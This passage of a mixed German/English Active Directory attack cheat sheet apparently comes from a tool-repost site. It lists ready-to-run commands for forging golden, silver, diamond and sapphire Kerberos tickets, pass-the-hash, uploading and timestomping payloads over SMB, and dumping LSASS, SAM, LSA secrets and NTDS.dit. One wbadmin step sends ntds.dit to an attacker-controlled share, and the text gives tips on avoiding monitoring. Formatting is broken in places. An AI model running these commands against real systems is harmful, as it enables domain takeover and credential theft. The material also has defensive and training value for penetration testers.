gopacket — inspect ticket contents

describeTicket /path/to/jdoe.ccache describeTicket /path/to/jdoe.kirbi

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### Passwort ändern```bash
# impacket — user changes own password
changepasswd.py -protocol kpasswd DOMAIN/jdoe:[email protected] -newpass NewPass

# Titanis — change own password
Kerb changepw jdoe@DOMAIN 192.168.1.1 -Password OldPass NewPass

# impacket — admin resets another user's password
changepasswd.py -reset DOMAIN/admin:[email protected] -newpass NewPass -altuser DOMAIN/jdoe

# bloodyAD — admin resets another user's password
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set password jdoe NewPass

# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 set password jdoe NewPass

# Titanis — admin sets another user's password
Kerb setpw -UserName admin -UserDomain DOMAIN -Kdc 192.168.1.1 -Password AdminPass jdoe@DOMAIN NewPass

# gopacket — admin resets another user's password (SAMR over SMB)
changepasswd -reset -altuser DOMAIN/admin -altpass AdminPass -newpass NewPass DOMAIN/[email protected]
# gopacket — admin reset via pass-the-hash
changepasswd -reset -altuser DOMAIN/admin -althash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -newpass NewPass DOMAIN/[email protected]

↑ Back to Index


Golden / Silver Ticket

Titanis-Status: Kein Ticket-Forging. Verwenden Sie Metasploit auxiliary/admin/kerberos/forge_ticket (natives Ruby) oder impacket ticketer.py. ⚠️ Gefälschte Tickets können derzeit nicht in Titanis geladen werden über -Tgt — impacket kodiert TGT-Dienstprinzipale als NT_PRINCIPAL (Namenstyp 1), aber Titanis erwartet NT_SERVICE_INSTANCE (Namenstyp 2); eine Korrektur durch den Entwickler steht aus. Verwenden Sie vorerst KRB5CCNAME + impacket (wmiexec.py -k, smbclient.py -k) direkt mit gefälschten Tickets.```bash

Step 1 — obtain krbtgt hash via DCSync

secretsdump.py DOMAIN/Administrator:[email protected]
-just-dc-user DOMAIN/krbtgt | grep krbtgt

Step 1 alt — pypykatz DCSync

pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]"
--username krbtgt

Step 2a — forge golden ticket (Metasploit)

msf6 > use auxiliary/admin/kerberos/forge_ticket msf6 auxiliary(forge_ticket) > run action=FORGE_GOLDEN domain=DOMAIN.LOCAL
domain_sid=S-1-5-21-... nthash=<krbtgt_ntlm> username=Administrator

Step 2b — forge silver ticket (Metasploit)

msf6 auxiliary(forge_ticket) > run action=FORGE_SILVER domain=DOMAIN.LOCAL
domain_sid=S-1-5-21-... nthash=<service_ntlm> username=Administrator
spn=cifs/fileserver.domain.local

Step 2c — forge diamond ticket (Metasploit)

msf6 auxiliary(forge_ticket) > run action=FORGE_DIAMOND domain=DOMAIN.LOCAL
rhosts=192.168.1.1 user=jdoe password=Password123
nthash=<krbtgt_ntlm> username=Administrator

Step 2d — forge sapphire ticket (Metasploit)

msf6 auxiliary(forge_ticket) > run action=FORGE_SAPPHIRE domain=DOMAIN.LOCAL
rhosts=192.168.1.1 user=jdoe password=Password123
nthash=<krbtgt_ntlm> username=Administrator

Step 2e — forge golden ticket (impacket)

ticketer.py -nthash <krbtgt_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL Administrator

Step 3 — use forged ticket with impacket (Titanis cannot load externally forged ccache files)

export KRB5CCNAME=Administrator.ccache wmiexec.py -k -no-pass DOMAIN/[email protected] "whoami" smbclient.py -k -no-pass DOMAIN/[email protected]

Silver ticket (impacket) — use with KRB5CCNAME + impacket

ticketer.py -nthash <service_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL -spn cifs/fileserver.domain.local Administrator export KRB5CCNAME=Administrator.ccache smbclient.py -k -no-pass DOMAIN/[email protected]

Titanis — non-functional with forged tickets currently; shown for API reference only

(-Tgt rejects impacket ccache due to NT_PRINCIPAL vs NT_SERVICE_INSTANCE name type; fix pending)

Wmi exec dc01 -ha 192.168.1.1 -UserName Administrator -UserDomain DOMAIN \

-TicketCache Administrator.ccache "whoami"

Smb2Client ls \fileserver.domain.local\C$ -UserName Administrator -UserDomain DOMAIN \

-TicketCache Administrator.ccache

gopacket — golden ticket (requires krbtgt NT hash and domain SID)

ticketer -nthash <krbtgt_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL Administrator export KRB5CCNAME=Administrator.ccache wmiexec -k -no-pass DOMAIN/[email protected] "whoami"

gopacket — silver ticket (service account NT hash)

ticketer -nthash <service_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL -spn cifs/fileserver.domain.local Administrator export KRB5CCNAME=Administrator.ccache smbclient -k -no-pass DOMAIN/[email protected]

root@kitploit:~
[↑ Zurück zum Index](#index)

---

## 3. SMB / Dateioperationen

### Freigaben auflisten```bash
# impacket
smbclient.py -shares DOMAIN/jdoe:[email protected]

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --shares

# smbclient
smbclient -L //192.168.1.10 -U 'DOMAIN\jdoe%Password123'

# aiosmb — password
asmbshareenum "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

# aiosmb — pass-the-hash
asmbshareenum "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"

# aiosmb — Kerberos ccache
asmbshareenum "smb+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10/?dc=192.168.1.1&ccache=jdoe.ccache"

# Titanis
Smb2Client enumshares \\192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

# gopacket — password
smbclient -shares DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
smbclient -shares -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ Zurück zum Index


Durchsuchen / Dateien auflisten```bash

impacket

smbclient.py DOMAIN/jdoe:[email protected]

smbclient-ng

smbclient-ng -u jdoe -p Password123 --domain DOMAIN --host 192.168.1.10

aiosmb — interactive client (ls, cd, get, put, services, sessions, whoami, tasks built-in)

asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

aiosmb — pass-the-hash

asmbclient "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"

Titanis

Smb2Client ls \192.168.1.10\Share -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client ls \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123

gopacket — interactive SMB shell (ls, cd, get, put)

smbclient DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

smbclient -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### Eine Datei herunterladen```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> get Windows\System32\drivers\etc\hosts hosts.txt

# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'get Windows\System32\drivers\etc\hosts hosts.txt'

# aiosmb — password (full path embedded in URL after the host)
asmbgetfile "smb+ntlm-password://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
  -o hosts.txt

# aiosmb — pass-the-hash
asmbgetfile "smb+ntlm-nt://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
  -o hosts.txt

# Titanis
Smb2Client get \\192.168.1.10\C$\Windows\System32\drivers\etc\hosts hosts.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

↑ Back to Index


Download mit Backup-Semantik

Für gesperrte oder geschützte Dateien (NTDS.dit, SYSTEM-Hive usw.).```bash

Titanis

Smb2Client get \192.168.1.10\C$\Windows\NTDS\ntds.dit ntds.dit
-UserName jdoe -UserDomain DOMAIN -Password Password123 -UseBackupSemantics

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### Eine Datei hochladen```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> put payload.exe Windows\Temp\payload.exe

# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'put payload.exe Windows\Temp\payload.exe'

# Titanis
Smb2Client put payload.exe \\192.168.1.10\C$\Windows\Temp\payload.exe \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

↑ Zurück zum Index


Verzeichnisse und Dateien erstellen / entfernen```bash

impacket

smbclient.py DOMAIN/jdoe:[email protected]

smb: > mkdir Windows\Temp\newdir

smb: > rmdir Windows\Temp\newdir

smb: > del Windows\Temp\file.txt

smbclient

smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'mkdir Windows\Temp\newdir' smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'rmdir Windows\Temp\newdir' smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'del Windows\Temp\file.txt'

Titanis

Smb2Client mkdir \192.168.1.10\C$\Windows\Temp\newdir -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client rmdir \192.168.1.10\C$\Windows\Temp\newdir -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client rm \192.168.1.10\C$\Windows\Temp\file.txt -UserName jdoe -UserDomain DOMAIN -Password Password123

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### Benannte Pipes auflisten```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> cd \pipe\
# smb: \pipe\> ls

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --pipe

# Titanis
Smb2Client ls \\192.168.1.10\IPC$ -UserName jdoe -UserDomain DOMAIN -Password Password123

↑ Zurück zum Index


Pass the Hash — SMB```bash

impacket

smbclient.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

NetExec

netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

aiosmb

asmbclient "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"

Titanis

Smb2Client ls \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN
-NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### SMB über SOCKS5```bash
# impacket
proxychains smbclient.py DOMAIN/jdoe:[email protected]

# aiosmb — SOCKS5 (native, no proxychains needed)
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxyhost=127.0.0.1&proxyport=1080"

# aiosmb — SOCKS4
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks4&proxyhost=127.0.0.1&proxyport=1080"

# Titanis
Smb2Client ls \\192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -Socks5 127.0.0.1:1080

↑ Zurück zum Index


Offene Dateien / Sitzungen auflisten```bash

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --sessions netexec smb 192.168.1.10 -u jdoe -p Password123 --loggedon-users

aiosmb — interactive client commands

asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

smb> sessions

smb> files

Titanis

Smb2Client enumopenfiles \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client enumsessions \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

gopacket — enumerate sessions and open files

netview DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

netview -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### Remote-Datei-Timestomping```bash
# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
  touch --time "2022-01-01 00:00:00" C$/Windows/Temp/payload.exe

# Titanis
Smb2Client touch \\192.168.1.10\C$\Windows\Temp\payload.exe \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -LastWriteTimestamp "2022-01-01 00:00:00"

↑ Zurück zum Index


VSS Snapshot Enumeration```bash

impacket — connect, switch to share, then enumerate snapshots

smbclient.py DOMAIN/jdoe:[email protected]

smb: > use c$

smb: \c$> list_snapshots

@GMT-2026.03.15-22.24.19

smbclient-ng

smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN snapshots C$

Titanis

Smb2Client enumsnapshots \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123

gopacket — ⚠️ list_snapshots not implemented in gopacket smbclient (feature request pending)

Use impacket smbclient.py or native smbclient for this step

root@kitploit:~
> **@GMT-Snapshot-Pfadzugriff:** `@GMT-...` ist kein reales Verzeichnis — Windows SRV.SYS fängt das Token im SMB2-CREATE-Pfad ab und leitet es zum VSS-Snapshot um. Tools, die Pfade Komponente für Komponente durchlaufen (einschließlich `Smb2Client get`), erhalten `STATUS_OBJECT_PATH_NOT_FOUND`. Verwenden Sie smbclient.py oder den nativen smbclient, die den vollständigen Pfad in einer einzigen CREATE-Anfrage senden:
>
> ```bash
> # impacket smbclient.py — enumerate then pull via snapshot path
> smbclient.py DOMAIN/jdoe:[email protected]
> # smb: \> use c$
> # smb: \c$\> list_snapshots
> # @GMT-2026.03.15-22.24.19
> # smb: \c$\> get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit
>
> # native smbclient (Samba)
> smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
>   -c 'get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit'
> ```

[↑ Zurück zum Index](#index)

---

### NTFS Alternate Data Stream (ADS)-Enumeration```bash
# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'allinfo Windows\Temp\file.txt'

# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
  streams C$/Windows/Temp/file.txt

# Titanis
Smb2Client enumstreams \\192.168.1.10\C$\Windows\Temp\file.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

↑ Zurück zum Index


Server-NIC-Enumeration```bash

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --interfaces

smbclient-ng

smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN nics

Titanis

Smb2Client enumnics \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### Bulk-Share-Enumeration```bash
# NetExec
netexec smb 192.168.1.0/24 -u jdoe -p Password123 --shares

# aiosmb — async subnet scanner (faster than looping)
# syntax: asmbscanner [global_opts] {file|brute|list} <url> <ip/cidr>
# results written to TSV files in output dir (-o dir, default: current dir)
asmbscanner -w 5 --no-progress file \
  "smb+ntlm-password://DOMAIN\jdoe:Password123@" 192.168.1.0/24

# aiosmb — pass-the-hash
asmbscanner -w 5 --no-progress file \
  "smb+ntlm-nt://DOMAIN\jdoe:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5@" 192.168.1.0/24

# Titanis
while IFS= read -r host; do
  echo "=== $host ==="
  smb2 enumshares "\\\\${host}" -UserName jdoe -UserDomain DOMAIN \
    -Password Password123 2>/dev/null
done < hosts.txt

↑ Zurück zum Index


4. Credential-Dumping

Parsen von LSASS-Minidumps (offline)```bash

pypykatz — parse captured LSASS minidump

pypykatz lsa minidump lsass.DMP

Output to JSON

pypykatz lsa minidump lsass.DMP -o lsass_creds.json --json

Extract Kerberos tickets to ccache files (loadable via Titanis -TicketCache)

pypykatz lsa minidump lsass.DMP -k /tmp/kerberos_tickets/

Extract DPAPI masterkeys from LSASS memory

pypykatz lsa minidump lsass.DMP -o dpapi_keys.json

pypykatz — live LSASS dump + parse remotely over SMB (no minidump file needed)

pypykatz smb lsassdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" pypykatz smb lsassdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"

NetExec — remote LSASS dump via SMB

netexec smb 192.168.1.10 -u jdoe -p Password123 -M lsassy

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### SAM-Hashes auslesen```bash
# impacket
secretsdump.py -sam DOMAIN/jdoe:[email protected]

# Metasploit
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=Password123 action=SAM

# Metasploit — pass-the-hash
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  action=SAM

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam

# pypykatz — remote SAM dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" --sam
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]" --sam

# Titanis — requires -BackupSemantics even as domain admin; without it → ACCESS_DENIED
Reg dumpsam 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

# Titanis — backup operator (no admin required, -BackupSemantics still required)
Reg dumpsam 192.168.1.10 -UserName backupuser -UserDomain DOMAIN \
  -Password Password123 -BackupSemantics

↑ Zurück zum Index


LSA Secrets auslesen```bash

impacket

secretsdump.py -lsa DOMAIN/jdoe:[email protected]

Metasploit

msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN
smbuser=jdoe smbpass=Password123 action=LSA

Metasploit — pass-the-hash

msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN
smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
action=LSA

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --lsa

pypykatz — remote LSA secrets dump via SMB

pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" --lsa pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]" --lsa

Titanis — requires -BackupSemantics; without it → ACCESS_DENIED

Reg dumplsasecrets 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### Dump SAM + LSA zusammen```bash
# impacket
secretsdump.py DOMAIN/jdoe:[email protected]

# Metasploit — ALL action (SAM + LSA + cached creds)
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=Password123 action=ALL

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam --lsa

# pypykatz — remote registry dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10?ccache=jdoe.ccache"

# pypykatz — remote LSASS dump + parse via SMB
pypykatz smb lsassdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb lsassdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"

# pypykatz — combined (SAM + LSA + LSASS in one call)
pypykatz smb secretsdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"

# Titanis — requires -BackupSemantics for both; without it → ACCESS_DENIED
Reg dumpsam        192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics
Reg dumplsasecrets 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

# gopacket — SAM + LSA + DCSync (password)
secretsdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
secretsdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ Zurück zum Index


Bulk-SAM-/LSA-Dump über mehrere Hosts```bash

NetExec

netexec smb 192.168.1.0/24 -u jdoe -p Password123 --sam --lsa

NetExec — pass-the-hash

netexec smb 192.168.1.0/24 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --sam --lsa

pypykatz — combined SAM + LSA + LSASS across a host list

while IFS= read -r host; do echo "=== $host ===" >> pypykatz_dump.txt pypykatz smb secretsdump "smb2+ntlm-password://DOMAIN\jdoe:Password123@${host}"
>> pypykatz_dump.txt 2>&1 done < hosts.txt

Titanis

while IFS= read -r host; do echo "=== $host ===" | tee -a sam_dump.txt reg dumpsam "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics >> sam_dump.txt 2>&1 reg dumplsasecrets "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics >> lsa_dump.txt 2>&1 done < hosts.txt

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### NTDS-Dump per VSS-Snapshot

> Fordert eine VSS-Schattenkopie auf dem DC an und liest NTDS.dit + SYSTEM-Hive direkt aus dem Snapshot. Verwendet keine Replikation — nützlich, wenn DCSync blockiert oder überwacht wird.

> **⚠️ Einschränkung von `-use-vss`:** Das `-use-vss` von secretsdump verwendet intern smbexec, um vssadmin auszuführen und die Ausgabe zu sammeln. Die Erstellung des smbexec-Dienstes erfordert die SVCCTL-Authentifizierungsstufe `PacketPrivacy`, die secretsdump nicht aushandelt — die Diensterstellung schlägt still fehl und die Ausgabedatei wird nie geschrieben. Verwenden Sie stattdessen `-use-remoteSSWMI -use-remoteSSWMI-NTDS`, was SVCCTL vollständig umgeht.```bash
# impacket — VSS method (default exec via smbexec)
# ⚠️ Fails if SVCCTL requires PacketPrivacy; use -use-remoteSSWMI-NTDS instead
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss

# impacket — VSS with explicit exec method
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
  -exec-method wmiexec

# impacket — VSS pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -use-vss

# impacket — VSS with output file + useful display flags
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
  -outputfile ntds_dump -user-status -pwd-last-set

# impacket — WMI shadow snapshot (preferred VSS method; no SVCCTL / smbexec required)
# Creates VSS copy via Win32_ShadowCopy WMI class, downloads SAM/SYSTEM/SECURITY locally
secretsdump.py DOMAIN/Administrator:[email protected] -use-remoteSSWMI

# impacket — WMI shadow snapshot including NTDS.dit (DC-specific)
# -use-remoteSSWMI-NTDS must be used together with -use-remoteSSWMI
secretsdump.py DOMAIN/Administrator:[email protected] \
  -use-remoteSSWMI -use-remoteSSWMI-NTDS

# impacket — WMI shadow pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -use-remoteSSWMI -use-remoteSSWMI-NTDS

# NetExec — VSS method
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss

# NetExec — VSS pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds vss

# NetExec — VSS, enabled accounts only
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss --enabled

# Titanis — enumerate existing snapshots
Smb2Client enumsnapshots \\192.168.1.1\C$ -UserName Administrator -UserDomain DOMAIN -Password Password123

# Retrieve files from snapshot — use token from enumsnapshots or vssadmin output
smbclient.py DOMAIN/Administrator:[email protected]
# list_snapshots C$
# get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit
# get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM

# native smbclient (Samba)
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
  -c 'get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit'
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
  -c 'get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM'

# Parse offline
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

↑ Zurück zum Index


NTDS-Dump per IFM (ntdsutil)

Verwendet ntdsutil ifm, um auf dem DC ein Install-From-Media-Set zu erstellen — einen legitimen AD-Vorgang, der eine Kopie von NTDS.dit erzeugt. In manchen Umgebungen unauffälliger als VSS, da ntdsutil ein integriertes AD-Verwaltungstool ist.

⚠️ Einschränkung der WMI-Ausführung: ntdsutil erfordert SeBackupPrivilege und eine vollständige Token-Erhöhung im ausführenden Prozess. Von WMI erzeugte Prozesse erhalten keinen vollständig erhöhten Token, selbst für Domänenadmins — ntdsutil gibt unabhängig von den Anmeldeinformationen Access is denied zurück. Wenn die WMI-basierte Ausführung fehlschlägt, verwenden Sie stattdessen secretsdump -use-remoteSSWMI -use-remoteSSWMI-NTDS oder die diskshadow-LOLBin. Das NetExec-Modul -M ntdsutil kann bei einigen Zielen über seine Standard-Exec-Methode erfolgreich sein.```bash

impacket — trigger ntdsutil via wmiexec, pull files, parse

⚠️ ntdsutil must be called by full path when invoked via WMI: C:\Windows\System32\ntdsutil.exe

wmiexec.py DOMAIN/Administrator:[email protected]
"ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ifm" q q"

Wait for completion, then retrieve

smbclient.py DOMAIN/Administrator:[email protected]

smb: > get Windows\Temp\ifm\Active Directory\ntds.dit ntds.dit

smb: > get Windows\Temp\ifm\registry\SYSTEM SYSTEM

NetExec — ntdsutil module (handles exec + retrieval + parsing automatically)

netexec smb 192.168.1.1 -u Administrator -p Password123 -M ntdsutil

NetExec — ntdsutil module pass-the-hash

netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -M ntdsutil

Titanis — exec via WMI, retrieve via SMB, parse offline

⚠️ WMI process token elevation issue; may return Access is denied. Use diskshadow or -use-remoteSSWMI-NTDS instead.

Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"C:\Windows\System32\ntdsutil.exe "ac i ntds" "ifm" "create full C:\Windows\Temp\ifm" q q" Smb2Client get "\192.168.1.1\C$\Windows\Temp\ifm\Active Directory\ntds.dit" ntds.dit
-UserName Administrator -UserDomain DOMAIN -Password Password123 Smb2Client get "\192.168.1.1\C$\Windows\Temp\ifm\registry\SYSTEM" SYSTEM
-UserName Administrator -UserDomain DOMAIN -Password Password123

Clean up

Smb2Client rmdir "\192.168.1.1\C$\Windows\Temp\ifm"
-UserName Administrator -UserDomain DOMAIN -Password Password123

Parse offline

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### NTDS Dump per wbadmin (Windows Server Backup)

> `wbadmin` ist ein integriertes Windows-LOLBin, das intern VSS verwendet, um Dateien auf eine Netzwerkfreigabe zu sichern – keine lokale Zwischenspeicherung, keine Artefakte der Codeausführung abgesehen vom Sicherungsauftrag. Funktioniert für Backup-Operatoren (kein DA erforderlich). Erfordert, dass die Freigabe vom DC aus beschreibbar ist.

> **⚠️ Erfordert die Windows-Funktion `WindowsServerBackup`.** Die wbadmin-Binärdatei ist selbst dann als Stub vorhanden, wenn die Funktion nicht installiert ist – sie hängt dann oder schlägt still fehl. Überprüfen Sie vor dem Versuch, ob die Funktion aktiv ist: `Get-WindowsFeature WindowsServerBackup` (PowerShell) oder `DISM /online /Get-FeatureInfo /FeatureName:WindowsServerBackup`. Wenn `InstallState` nicht `Installed` ist, funktioniert diese Methode nicht.```bash
# Check feature state (run via WMI exec before proceeding)
wmiexec.py DOMAIN/Administrator:[email protected] \
  "powershell -c \"(Get-WindowsFeature WindowsServerBackup).InstallState\""

# Step 1 — trigger backup of NTDS.dit from DC to an attacker-controlled share
# (run via wmiexec / scm / any exec method)
wmiexec.py DOMAIN/Administrator:[email protected] \
  "wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"

# Titanis — exec via WMI
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123 \
  "wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"

# Step 2 — list backup versions to get the version identifier
wmiexec.py DOMAIN/Administrator:[email protected] "wbadmin get versions"

# Step 3 — recover the NTDS.dit from the backup
wmiexec.py DOMAIN/Administrator:[email protected] \
  "wbadmin start recovery -version:<VERSION> -items:C:\\Windows\\NTDS\\ntds.dit \
  -itemType:File -recoveryTarget:C:\\Windows\\Temp\\ -notRestoreAcl -quiet"

# Step 4 — also need SYSTEM hive
wmiexec.py DOMAIN/Administrator:[email protected] \
  "reg save HKLM\\SYSTEM C:\\Windows\\Temp\\SYSTEM"

# Step 5 — retrieve both files and parse offline
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\ntds.dit" ntds.dit \
  -UserName Administrator -UserDomain DOMAIN -Password Password123
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\SYSTEM" SYSTEM \
  -UserName Administrator -UserDomain DOMAIN -Password Password123
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

↑ Zurück zum Index


NTDS-Dump per Diskshadow

diskshadow.exe ist ein integriertes Windows-LOLBin, das direkt mit VSS interagiert. Nützlich, wenn vssadmin blockiert oder überwacht wird — diskshadow wird seltener markiert. Backup Operators können es ohne volle DA-Rechte nutzen. Erfordert das Hochladen einer Skriptdatei auf den DC.

